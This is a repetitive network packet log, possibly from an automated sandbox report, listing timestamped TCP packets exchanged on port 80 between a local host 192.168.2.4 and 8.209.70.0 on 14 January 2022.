Jan 14, 2022 09:25:41.347058058 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347058058 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347100019 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347103119 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347141027 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347179890 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347197056 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347220898 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347224951 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347263098 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347307920 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347311020 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347348928 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347388983 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347397089 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347430944 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347472906 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347510099 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347522974 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347551107 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347551107 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347592115 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347629070 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347640991 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347671032 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347712040 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347750902 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347764015 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347791910 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347791910 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347832918 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347872972 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347912073 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347925901 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347949982 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347960949 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.347990036 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.348031044 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.348037958 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.348073006 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.348114014 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.348151922 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.348164082 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.348187923 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.348196983 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.366413116 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366472960 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366513968 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366543055 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.366554022 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366580963 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.366595984 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366637945 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366683960 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.366736889 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366780043 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366820097 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366844893 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.366861105 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366862059 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.366903067 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366944075 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.366950989 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.366981030 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367023945 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367029905 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367064953 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367124081 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367135048 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367176056 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367213964 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367240906 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367280960 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367322922 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367328882 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367363930 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367405891 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367443085 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367455959 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367482901 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367516041 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367522001 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367564917 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367597103 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367605925 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367645025 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367651939 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367685080 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367723942 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367727995 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367763042 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367800951 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367809057 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367841005 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367881060 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367887020 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.367923975 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.367963076 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.368000984 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.368002892 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.368045092 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.368055105 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.368083000 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.368124008 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.368127108 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.385586977 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.385642052 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.385674000 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.385703087 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.385734081 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.385766029 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.385768890 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.385807037 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.385808945 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.385873079 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.385931969 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.385941029 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.385973930 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386013985 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386033058 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386056900 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386095047 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386120081 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386133909 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386143923 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386173964 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386214018 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386255026 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386276007 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386298895 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386303902 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386339903 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386379004 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386415958 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386435986 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386456966 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386459112 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386496067 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386535883 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386550903 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386576891 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386615038 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386630058 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386655092 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386693954 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386708021 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386732101 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386773109 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386786938 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386814117 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386854887 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386871099 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386897087 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386934042 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.386950970 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.386975050 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387017012 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387034893 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387058020 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387095928 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387130022 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387135029 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387176991 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387197971 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387217999 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387254953 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387295961 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387304068 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387347937 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387365103 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387386084 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387425900 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387439966 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387465954 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387504101 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387523890 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387543917 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387583971 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387623072 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387628078 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387665033 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387696981 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387703896 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387746096 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387761116 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387787104 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387824059 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387840033 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387864113 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387903929 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387912035 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.387943983 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.387984991 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388001919 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388025999 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388066053 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388098001 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388104916 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388144016 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388181925 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388185024 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388225079 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388250113 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388266087 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388308048 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388338089 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388371944 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388392925 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388412952 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388432026 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388454914 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388494968 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388509035 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388534069 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388566017 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388573885 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388614893 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388634920 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388653994 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388695002 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388711929 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388731956 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388772011 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388778925 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388811111 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388848066 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388865948 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.388891935 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.388955116 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.389241934 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389291048 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389332056 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389348030 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.389374018 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389413118 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389427900 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.389453888 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389492989 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389511108 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.389533043 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389574051 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389589071 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.389615059 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389655113 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389671087 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.389695883 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389733076 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389772892 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389779091 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.389812946 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389872074 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.389873981 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389923096 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389961958 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.389981031 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.390006065 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.390012026 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390058041 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390096903 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390115976 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.390136957 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390177965 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390188932 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.390219927 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390258074 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390271902 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.390299082 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390338898 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390353918 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.390377998 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390418053 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390429974 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.390458107 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390500069 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390520096 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.390542030 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390578032 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.390607119 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.394067049 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.405797958 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.405838013 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.405908108 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.405910969 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.405949116 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.405983925 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.405999899 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408148050 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408184052 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408211946 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408221006 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408255100 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408261061 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408282042 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408297062 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408325911 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408334970 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408365965 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408371925 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408379078 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408407927 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408425093 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408446074 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408477068 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408483028 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408492088 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408520937 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408536911 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408559084 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408574104 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408596039 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408627987 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408634901 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408663988 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408673048 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408699036 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408709049 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408711910 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408746004 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408760071 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408782005 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408803940 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408818960 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408848047 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408857107 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408880949 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408896923 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408921003 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.408934116 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408962965 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.408992052 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409018993 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409056902 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409087896 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409092903 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409130096 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409151077 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409159899 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409167051 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409200907 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409207106 CET	80	49864	8.209.70.0	192.168.2.4
